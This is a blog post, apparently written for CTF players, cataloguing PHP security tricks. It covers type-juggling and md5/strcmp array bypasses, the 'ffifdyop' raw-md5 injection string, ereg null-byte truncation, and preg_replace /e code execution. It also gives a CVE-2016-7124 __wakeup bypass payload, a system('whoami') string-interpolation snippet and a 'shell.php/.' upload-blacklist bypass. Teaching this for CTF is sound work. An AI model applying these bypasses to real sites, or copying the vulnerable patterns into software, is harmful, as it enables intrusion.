PHP 各种黑魔法

Posted by kuron3k0 on April 14, 2018

总结了一下关于在CTF中PHP的一些小技巧,今后会不断更新。
虽然现在的题目很少会用到了,但知道多点总是没坏处的。

弱类型

<?php

//输出 boolean true

$a = 0;
$b = '0asdf';
var_dump($a == $b);


//输出 boolean true

$a = 0;
$b = NULL;
var_dump($a == $b);
?>

科学记数法

<?php

//输出 boolean true

$a = '0e3543';
$b = '0e1234';
var_dump($a == $b);

?>

函数

  • md5()

      <?php
      //http://xxxx?a[]=1&b[]=2
    
      //md5对数组类型hash的时候会返回false
    
      //输出 boolean true
    
      $a = md5($_GET['a']);
      $b = md5($_GET['b']);
      var_dump($a == $b);
    
      //把md5第二个参数设置为true,会将加密后字符串当成十六进制转换成字符
    
      //输出 'or'6�]��!r,��b
    
      echo md5('ffifdyop',true);
    
      ?>
    
  • ereg()/eregi()截断

      <?php
    
      //http://xxxx?a=abc;
    
      //输出 boolean false
    
      //http://xxxx?a=abc%00;
    
      //输出 boolean true
    
      var_dump(eregi('^[a-z]+$',$_GET[a]));
    
      ?>
    
  • preg_replace()代码执行

      <?php
    
      //pattern里使用参数e导致代码执行
    
      preg_replace('/test/e','phpinfo()','test');
    
      ?>
    
  • 对parse_url()参数检测的绕过

    两个斜杠

    三个斜杠

    注:在path前面的"/"到达一定数量之后,parse_url会忽略参数

  • mt_srand()伪随机数

    php_mt_seed即可算出种子

  • is_numeric()十六进制绕过

      <?php
    
      var_dump(is_numeric('0xabcd'));
      //输出 boolean true
    
      ?>
    
  • strcmp()绕过

    strcmp输入数组作为参数会返回NULL

      <?php
    
      //http://xxxx?a[]=www
    
      $a=$_GET['a'];
      echo strcmp('aaaa',$a).'<br>';
    
      //输出 无(即NULL)
    
      if(strcmp('aaaa',$a)){
          echo 'false!';
      }else{
          echo 'success!';
      }
      //输出 success
    
      ?>
    

反序列化

  • _wakeup()魔术方法的绕过

    利用的是CVE-2016-7124

      <?php
    
      class test{
    
          public $s = 'secret';
    
          function __construct(){
                
          }
    
          function __wakeup(){
              echo 'wakeup'.'<br>';
              $this->s = '';
          }
    
          function __destruct(){
              echo 'destruct '.$this->s.'<br>';
                
          }
      }
    
      $a = new test();
      $serial = serialize($a).'<br>'; 
    
      //O:4:"test":1:{s:1:"s";s:6:"secret";}
    
    
      unserialize($serial);
      //输出:
    
      //wakeup
    
      //destruct 
    
      //可以看到反序列化先运行了__wakeup()函数
    
      //但是如果把反序列化中参数的个数调整到比原本类的个数高的话,即可绕过wakeup
    
      //即 O:4:"test":2:{s:1:"s";s:6:"secret";}
    
    
      unserialize('O:4:"test":2:{s:1:"s";s:6:"secret";}');
      //输出: 
    
      //destruct secret
    
      //没有运行wakeup
    
    
      ?>
    
    

代码执行

  • 双引号里的代码执行

      <?php
    
      $a = "${system('whoami')}";
    
      ?>
    

文件上传

  • shell.php/.

    上传的文件名带/.的话,使用file_put_content的话,会自动把/.删掉,从而绕过黑名单